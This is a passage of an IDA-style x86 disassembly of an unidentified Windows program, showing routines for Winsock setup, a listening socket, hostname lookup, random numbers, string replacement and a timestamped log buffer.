		lea	ecx, [esp+2C8h+var_284]
		call	sub_13ABC61
		xor	ebp, ebp
		push	offset dword_443DA4
		lea	ecx, [esp+2CCh+var_288]
		mov	[esp+2CCh+var_18], ebp
		mov	[esp+2CCh+var_2B4], ebp
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13C377F
		mov	[esp+2CCh+var_2B8], 2
		jmp	short loc_13C3799
; ---------------------------------------------------------------------------


loc_13C377F:				; CODE XREF: sub_13C36D0+A3j
		push	offset dword_443DA0
		lea	ecx, [esp+2D0h+var_28C]
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13C3799
		mov	[esp+2D0h+var_2BC], 1


loc_13C3799:				; CODE XREF: sub_13C36D0+ADj
					; sub_13C36D0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D94
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2D0h+var_135], 0
		mov	[esp+2D0h+var_B5], 0
		mov	[esp+2D0h+var_29], 0
		mov	[esp+2D0h+var_1B5], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_13C3828
		mov	esi, _strcmpi
		add	eax, 2
		push	offset dword_443D94
		push	eax
		call	esi ; _strcmpi
		add	esp, 8
		test	eax, eax
		jz	short loc_13C3828
		mov	ecx, [ebx+32h]
		push	offset dword_443D90
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi ; _strcmpi
		add	esp, 8
		test	eax, eax
		jnz	loc_13C3A5F


loc_13C3828:				; CODE XREF: sub_13C36D0+123j
					; sub_13C36D0+13Bj
		push	0C00h
		mov	[esp+2D4h+var_2B0], 0C00h
		call	malloc	; malloc
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2D0h+var_2B0]
		mov	[esp+2D0h+var_2B8], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	near ptr 13E1080h
		mov	eax, [esi]
		mov	[esp+2DCh+var_2C0], ebp
		cmp	eax, ebp
		jle	loc_13C3A55
		lea	ebp, [esi+14h]


loc_13C3864:				; CODE XREF: sub_13C36D0+37Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_13C3878
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_13C3A3F


loc_13C3878:				; CODE XREF: sub_13C36D0+198j
		mov	ax, [ebp-8]
		mov	esi, htons
		push	eax
		call	esi ; htons
		mov	cx, [ebp+0]
		mov	[esp+2E0h+var_2BC], eax
		push	ecx
		call	esi ; htons
		mov	esi, [esp+2E4h+var_2D4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2E8h+var_1C8]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AB874
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2F8h+var_158]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB874
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_13C38DC
		sub	eax, 3
		jnz	short loc_13C3902
		lea	edx, [esp+304h+var_2AC]
		mov	edi, offset dword_443D80
		jmp	short loc_13C38E5
; ---------------------------------------------------------------------------


loc_13C38DC:				; CODE XREF: sub_13C36D0+1FAj
		lea	edx, [esp+304h+var_2AC]
		mov	edi, offset dword_443D74


loc_13C38E5:				; CODE XREF: sub_13C36D0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_13C3902:				; CODE XREF: sub_13C36D0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+304h+var_E8]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+304h+var_274]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_13C3928
		xor	ebx, ebx


loc_13C3928:				; CODE XREF: sub_13C36D0+254j
		mov	esi, [esp+304h+var_2E0]
		lea	ecx, [esp+304h+var_1E8]
		and	esi, 0FFFFh
		lea	edx, [esp+304h+var_E8]
		push	esi
		push	ecx
		push	offset dword_443D6C
		push	8Bh
		push	edx
		call	_snprintf	; _snprintf
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+304h+var_168]
		push	edi
		push	eax
		push	offset dword_443D6C
		lea	ecx, [esp+310h+var_274]
		push	8Bh
		push	ecx
		call	_snprintf	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+304h+var_2DC]
		call	sub_13AB824
		mov	eax, [esp+304h+var_2F0]
		mov	[esp+304h+var_54], 1
		test	bx, bx
		jnz	short loc_13C39C1
		cmp	eax, 1
		jz	loc_13C3A26
		mov	edx, [esp+304h+var_2F4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_13C39B4
		cmp	eax, esi
		jnz	short loc_13C3A26


loc_13C39B4:				; CODE XREF: sub_13C36D0+2DEj
		lea	eax, [esp+304h+var_2AC]
		push	esi
		push	eax
		push	offset dword_443D64
		jmp	short loc_13C39E7
; ---------------------------------------------------------------------------


loc_13C39C1:				; CODE XREF: sub_13C36D0+2CAj
		cmp	eax, 2
		jz	short loc_13C3A26
		mov	ecx, [esp+304h+var_2F4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_13C39D5
		cmp	eax, edi
		jnz	short loc_13C3A26


loc_13C39D5:				; CODE XREF: sub_13C36D0+2FFj
		lea	edx, [esp+304h+var_274]
		lea	eax, [esp+304h+var_2AC]
		push	edx
		push	eax
		push	offset dword_443D5C


loc_13C39E7:				; CODE XREF: sub_13C36D0+2EFj
		lea	ecx, [esp+310h+var_2DC]
		push	ecx
		call	sub_13AB42D
		mov	esi, [esp+314h+var_4C]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+308h+var_2DC]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518


loc_13C3A26:				; CODE XREF: sub_13C36D0+2CFj
					; sub_13C36D0+2E2j ...
		lea	ecx, [esp+314h+var_2EC]
		mov	byte ptr [esp+314h+var_64], 0
		call	sub_13AB626
		mov	esi, [esp+314h+var_2FC]
		mov	ebx, [esp+314h+var_304]


loc_13C3A3F:				; CODE XREF: sub_13C36D0+1A2j
		mov	eax, [esp+314h+var_2F8]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+314h+var_2F8], eax
		jl	loc_13C3864


loc_13C3A55:				; CODE XREF: sub_13C36D0+18Bj
		push	esi
		call	free	; free
		add	esp, 4


loc_13C3A5F:				; CODE XREF: sub_13C36D0+152j
		lea	ecx, [esp+314h+var_2D4]
		mov	[esp+314h+var_64], 0FFFFFFFFh
		call	sub_13AB626
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_13C3A7B
; ---------------------------------------------------------------------------


loc_13C3A79:				; CODE XREF: sub_13C36D0+3Dj
		mov	al, 1


loc_13C3A7B:				; CODE XREF: sub_13C36D0+3A7j
		mov	ecx, [esp+2B0h+var_10]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_13C36D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3BA0	proc near		; CODE XREF: sub_13AB874j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset dword_443CD4
		push	ebx
		push	ebp
		call	_snprintf	; _snprintf
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_13C3C60
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_13C3C2E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_13C3C2E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		call	gethostbyaddr	; gethostbyaddr
		test	eax, eax
		jz	short loc_13C3C60
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		call	strncpy	; strncpy
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_13C3C2E:				; CODE XREF: sub_13C3BA0+5Aj
					; sub_13C3BA0+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		call	gethostname	; gethostname
		test	eax, eax
		pop	edi
		jnz	short loc_13C3C60
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		call	strncpy	; strncpy
		add	esp, 0Ch


loc_13C3C60:				; CODE XREF: sub_13C3BA0+52j
					; sub_13C3BA0+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_13C3BA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3CB0	proc near		; CODE XREF: sub_13AC2ECj
		call	GetTickCount	; GetTickCount
		push	eax
		call	srand	; srand
		pop	ecx
		retn
sub_13C3CB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3CD0	proc near		; CODE XREF: sub_13AC5A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	rand	; rand
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	ds:dbl_43E0B0
		call	near ptr 13E0D0Ah
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
sub_13C3CD0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3D20	proc near		; CODE XREF: sub_13AC085j

arg_0		= dword	ptr  4

		call	rand	; rand
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_13C3D20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3D40	proc near		; CODE XREF: sub_13AB91Ej
		retn
sub_13C3D40	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3D60	proc near		; CODE XREF: sub_13AC3C3j
		xor	al, al
		retn	4
sub_13C3D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3D80	proc near		; CODE XREF: sub_13AB923j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		retn
sub_13C3D80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3DC0	proc near		; CODE XREF: sub_13AB905j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= dword	ptr  14h

		sub	esp, 0Ch
		mov	eax, [esp+0Ch+arg_10]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	[esp+1Ch+var_4], 80h
		mov	[esp+1Ch+var_C], esi
		jz	short loc_13C3DF3
		push	eax
		call	atoi	; atoi
		add	esp, 4
		cmp	eax, esi
		mov	[esp+1Ch+var_C], eax
		jz	short loc_13C3DF3
		mov	[esp+1Ch+var_4], eax


loc_13C3DF3:				; CODE XREF: sub_13C3DC0+1Bj
					; sub_13C3DC0+2Dj
		mov	edi, [esp+1Ch+arg_8]
		mov	ebx, [esp+1Ch+arg_4]
		mov	ebp, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_8], esi
		mov	esi, offset dword_1025014


loc_13C3E08:				; CODE XREF: sub_13C3DC0+99j
		mov	ecx, [esp+1Ch+var_8]
		mov	eax, [esp+1Ch+var_4]
		cmp	ecx, eax
		jge	short loc_13C3E5B
		cmp	byte ptr [esi],	0
		jz	short loc_13C3E44
		mov	eax, [esp+1Ch+arg_10]
		test	eax, eax
		jz	short loc_13C3E38
		mov	ecx, [esp+1Ch+var_C]
		test	ecx, ecx
		jnz	short loc_13C3E38
		push	eax
		push	esi
		call	strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_13C3E44


loc_13C3E38:				; CODE XREF: sub_13C3DC0+5Fj
					; sub_13C3DC0+67j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_13AB923
		add	esp, 10h


loc_13C3E44:				; CODE XREF: sub_13C3DC0+57j
					; sub_13C3DC0+76j
		mov	edx, [esp+1Ch+var_8]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_1029014
		mov	[esp+1Ch+var_8], edx
		jl	short loc_13C3E08


loc_13C3E5B:				; CODE XREF: sub_13C3DC0+52j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_13C3DC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3EA0	proc near		; CODE XREF: sub_13AC666j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, strstr
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		mov	esi, offset dword_1025014


loc_13C3EB2:				; CODE XREF: sub_13C3EA0+2Ej
		cmp	byte ptr [esi],	0
		jz	short loc_13C3EC2
		push	edi
		push	esi
		call	ebx ; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_13C3ED6


loc_13C3EC2:				; CODE XREF: sub_13C3EA0+15j
		add	esi, 80h
		cmp	esi, offset dword_1029014
		jl	short loc_13C3EB2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13C3ED6:				; CODE XREF: sub_13C3EA0+20j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
sub_13C3EA0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3EF0	proc near		; CODE XREF: sub_13AB4D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		call	GetLocalTime	; GetLocalTime
		mov	edi, strncpy
		mov	esi, offset dword_1029014


loc_13C3F0B:				; CODE XREF: sub_13C3EF0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_13C3F1F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi ; strncpy
		add	esp, 0Ch


loc_13C3F1F:				; CODE XREF: sub_13C3EF0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_1025014
		jge	short loc_13C3F0B
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset dword_443DA8
		push	80h
		push	offset dword_1025014
		call	_snprintf	; _snprintf
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_13C3EF0	endp

; ---------------------------------------------------------------------------
aB		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3FC0	proc near		; CODE XREF: sub_13AB6DAj

var_600		= byte ptr -600h
var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+610h+var_600]
		mov	esi, [esp+610h+arg_0]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+610h+var_400]
		mov	ebp, strncpy
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+614h+var_200]
		rep stosd
		lea	eax, [esp+614h+var_600]
		push	esi
		push	eax
		call	ebp ; strncpy
		mov	edx, [esp+61Ch+arg_8]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_13C4031
		mov	[edx+180h], al


loc_13C4031:				; CODE XREF: sub_13C3FC0+69j
		mov	ebx, [esp+610h+arg_4]
		lea	ecx, [esp+610h+var_600]
		push	ebx
		push	ecx
		call	strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_13C4142


loc_13C404F:				; CODE XREF: sub_13C3FC0+175j
		lea	edx, [esp+610h+var_600]
		push	ebx
		push	edx
		call	strstr	; strstr
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+61Ch+var_200]
		push	ecx
		push	eax
		call	ebp ; strncpy
		lea	ecx, [esp+624h+var_600]
		push	1FFh
		lea	edx, [esp+628h+var_400]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp ; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_13C4110
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_13C4110
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_13C40ED
		mov	edx, [esp+610h+arg_8]
		lea	ecx, [esp+610h+var_200]
		push	ecx
		lea	eax, [esp+614h+var_400]
		push	edx
		push	eax
		lea	ecx, [esp+61Ch+var_600]
		push	443DD8h
		push	ecx
		call	wsprintfA	; wsprintfA
		add	esp, 14h
		jmp	short loc_13C4110
; ---------------------------------------------------------------------------


loc_13C40ED:				; CODE XREF: sub_13C3FC0+FEj
		mov	edx, [esp+610h+arg_8]
		lea	eax, [esp+610h+var_400]
		push	edx
		push	eax
		lea	ecx, [esp+618h+var_600]
		push	443DD0h
		push	ecx
		call	wsprintfA	; wsprintfA
		add	esp, 10h


loc_13C4110:				; CODE XREF: sub_13C3FC0+DAj
					; sub_13C3FC0+E1j ...
		mov	edx, [esp+610h+arg_8]
		mov	esi, strstr
		push	edx
		push	ebx
		call	esi ; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_13C413B
		lea	eax, [esp+610h+var_600]
		push	ebx
		push	eax
		call	esi ; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_13C404F


loc_13C413B:				; CODE XREF: sub_13C3FC0+166j
		mov	esi, [esp+610h+arg_0]


loc_13C4142:				; CODE XREF: sub_13C3FC0+89j
		lea	edi, [esp+610h+var_600]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+614h+var_600]
		push	ecx
		push	esi
		call	ebp ; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
sub_13C3FC0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C41E0	proc near		; CODE XREF: sub_13ABCCFj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	socket	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_13C41FE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13C41FE:				; CODE XREF: sub_13C41E0+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	htons	; htons
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	bind	; bind
		test	eax, eax
		jz	short loc_13C4249
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13C4249:				; CODE XREF: sub_13C41E0+5Fj
		push	7FFFFFFFh
		push	esi
		call	listen	; listen
		test	eax, eax
		jz	short loc_13C4261
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13C4261:				; CODE XREF: sub_13C41E0+77j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_13C41E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C42A0	proc near		; CODE XREF: sub_13AC265j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset byte_E21EF5


loc_13C42A8:				; CODE XREF: sub_13C42A0+18j
		cmp	dword ptr [eax], 0
		jz	short loc_13C42BA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_E29A65
		jle	short loc_13C42A8


loc_13C42BA:				; CODE XREF: sub_13C42A0+Bj
		cmp	edi, 13h
		jle	short loc_13C42C4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_13C42C4:				; CODE XREF: sub_13C42A0+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, wsprintfA
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:0E21DFBh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; wsprintfA
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; wsprintfA
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_13C42A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4360	proc near		; CODE XREF: sub_13AB7E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_E1A385


loc_13C4368:				; CODE XREF: sub_13C4360+18j
		cmp	dword ptr [eax], 0
		jz	short loc_13C437A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_E21EF5
		jle	short loc_13C4368


loc_13C437A:				; CODE XREF: sub_13C4360+Bj
		cmp	edi, 13h
		jle	short loc_13C4384
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_13C4384:				; CODE XREF: sub_13C4360+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, wsprintfA
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:0E1A28Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; wsprintfA
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; wsprintfA
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_13C4360	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4420	proc near		; CODE XREF: sub_13AC035j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset dword_43E0BC
		mov	eax, ds:dword_1029CE0
		test	eax, eax
		jnz	short loc_13C4458
		mov	eax, ds:dword_1029CE0
		inc	eax
		mov	ds:dword_1029CE0, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		call	WSAStartup	; WSAStartup
		jmp	short loc_13C4465
; ---------------------------------------------------------------------------


loc_13C4458:				; CODE XREF: sub_13C4420+19j
		mov	edx, ds:dword_1029CE0
		inc	edx
		mov	ds:dword_1029CE0, edx


loc_13C4465:				; CODE XREF: sub_13C4420+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F80
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_13C4420	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C44F0	proc near		; CODE XREF: sub_13ABCD4j sub_13ABEF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AC3C8
		test	[esp+4+arg_0], 1
		jz	short loc_13C4508
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13C4508:				; CODE XREF: sub_13C44F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13C44F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C4520	proc near		; CODE XREF: sub_13AC3C8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	dword_43E0BC
		test	al, al
		jnz	short loc_13C4535
		call	sub_13AB8DD


loc_13C4535:				; CODE XREF: sub_13C4520+Ej
		mov	eax, 1
		mov	ecx, ds:dword_1029CE0
		cmp	ecx, eax
		jle	short loc_13C4550
		mov	eax, ds:dword_1029CE0
		dec	eax
		mov	ds:dword_1029CE0, eax

locret_13C454F:				; CODE XREF: sub_13C4520:loc_13C4550j
		retn
; ---------------------------------------------------------------------------


loc_13C4550:				; CODE XREF: sub_13C4520+22j
		jnz	short locret_13C454F
		mov	ecx, ds:dword_1029CE0
		dec	ecx
		mov	ds:dword_1029CE0, ecx
		jmp	WSACleanup
sub_13C4520	endp

; ---------------------------------------------------------------------------
